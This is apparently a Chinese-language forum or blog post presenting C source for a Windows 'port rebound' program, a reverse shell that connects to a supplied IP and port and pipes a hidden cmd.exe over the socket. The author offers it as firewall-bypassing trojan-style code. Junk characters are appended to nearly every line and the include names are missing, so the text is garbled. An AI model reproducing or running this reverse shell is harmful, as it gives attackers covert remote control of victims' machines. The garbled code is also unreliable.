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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [DO UIR9  
@XFy^?  
/* ============================== r__Y{&IO  
Rebound port in Windows NT =dT sGNz  
By wind,2006/7 %vFoTu)2  
===============================*/ i$!-mYi+Q!  
#include kA%"-$3  
#include CP!>V:w%9!  
$d _%7xx  
#pragma comment(lib,"wsock32.lib") E8s&.:;+  
U<H< !NV  
void OutputShell(); yCT:U&8%F  
SOCKET sClient; U4ELlxGe  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eW^_YG%(  
MC&sM-/  
void main(int argc,char **argv) ;OynkZs)  
{ \<K@t=/ 6  
WSADATA stWsaData; s j{i  
int nRet; pv #uLo  
SOCKADDR_IN stSaiClient,stSaiServer; }D>nXhO&  
@,{', =L6  
if(argc != 3) z}:|is)?  
{ Z:(yX0U,[  
printf("Useage:\n\rRebound DestIP DestPort\n"); m}dO\;  
return; !R.*Vn[  
} cy-Bhk0H  
{@8TGHKv  
WSAStartup(MAKEWORD(2,2),&stWsaData); '8b/TL  
wa*/Am9;~  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5??\[C^"}  
l3C%`[MB  
stSaiClient.sin_family = AF_INET; "=97:H{!  
stSaiClient.sin_port = htons(0); OPsg3pW!]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "]M]pR/j  
PA(XdT{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Vx6/Rehj  
{ B5Y 3GWhrx  
printf("Bind Socket Failed!\n"); {2Jn#&Z29  
return; D-<9kBZs  
} (d2|r)O  
&hb:~>  
stSaiServer.sin_family = AF_INET; Ow\dk^\-G8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v2uyn  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HX77XTy  
]c'12 g]h  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E1uyMh-dy  
{ d!i#@XZ^  
printf("Connect Error!"); -0/5 !  
return; [j]3='2}G  
} v8>?,N#  
OutputShell(); U3f a *D  
} G$B( AWL  
VaIFE~>E&  
void OutputShell() &>m# "A\^  
{ <s7OY`(8   
char szBuff[1024]; 6eNo}Tos9  
SECURITY_ATTRIBUTES stSecurityAttributes; "=S< xT+  
OSVERSIONINFO stOsversionInfo; = UT^5cl(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XH?}0D(  
STARTUPINFO stStartupInfo; 4G4[IA u_  
char *szShell; c[~LI<>ic  
PROCESS_INFORMATION stProcessInformation; }(/")i4h  
unsigned long lBytesRead; " tUS>c/  
23AMrDF=N  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dMnJ)R  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z`=[hu  
stSecurityAttributes.lpSecurityDescriptor = 0; D/ SM/  
stSecurityAttributes.bInheritHandle = TRUE; $\ 0d9^)&  
-!k$ Z  
g{}{gBplnl  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DKG%z~R*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cx(aMcX6  
;QA`2$Ow  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eXqS9`zKr  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d }"Dp  
stStartupInfo.wShowWindow = SW_HIDE; QKAo}1Pq  
stStartupInfo.hStdInput = hReadPipe; Xo{|m[,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Gs% cod  
=&J 7 'nDP  
GetVersionEx(&stOsversionInfo); !e}LB%zf  
JToc("V  
switch(stOsversionInfo.dwPlatformId) &GC`4!H  
{ #=G[ ~m\  
case 1:  .UUY9@  
szShell = "command.com"; xsPE UK&g  
break; 8d90B9  
default: *P#okwp  
szShell = "cmd.exe"; f<`is+"  
break; Aqwjs 3  
} 8%dE$smH  
I'_u4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); = 2 3H/  
u7oHqo`  
send(sClient,szMsg,77,0); /a?*Ap5"  
while(1) G/2| *H  
{ 0jlwL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y7;i4::A\  
if(lBytesRead) rHir> p  
{ "QWF&-kAI  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D{]t50a.  
send(sClient,szBuff,lBytesRead,0); vgc #IEx@  
} t4a/\{/#9|  
else Hqel1J  
{ Ye'=F  
lBytesRead=recv(sClient,szBuff,1024,0); x*G-?Xza)  
if(lBytesRead<=0) break; CLb~6LD  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +izB(E8&{J  
} { *"I4  
} jIq@@8@o  
Rn (vG-xQ  
return; `h>a2   
}
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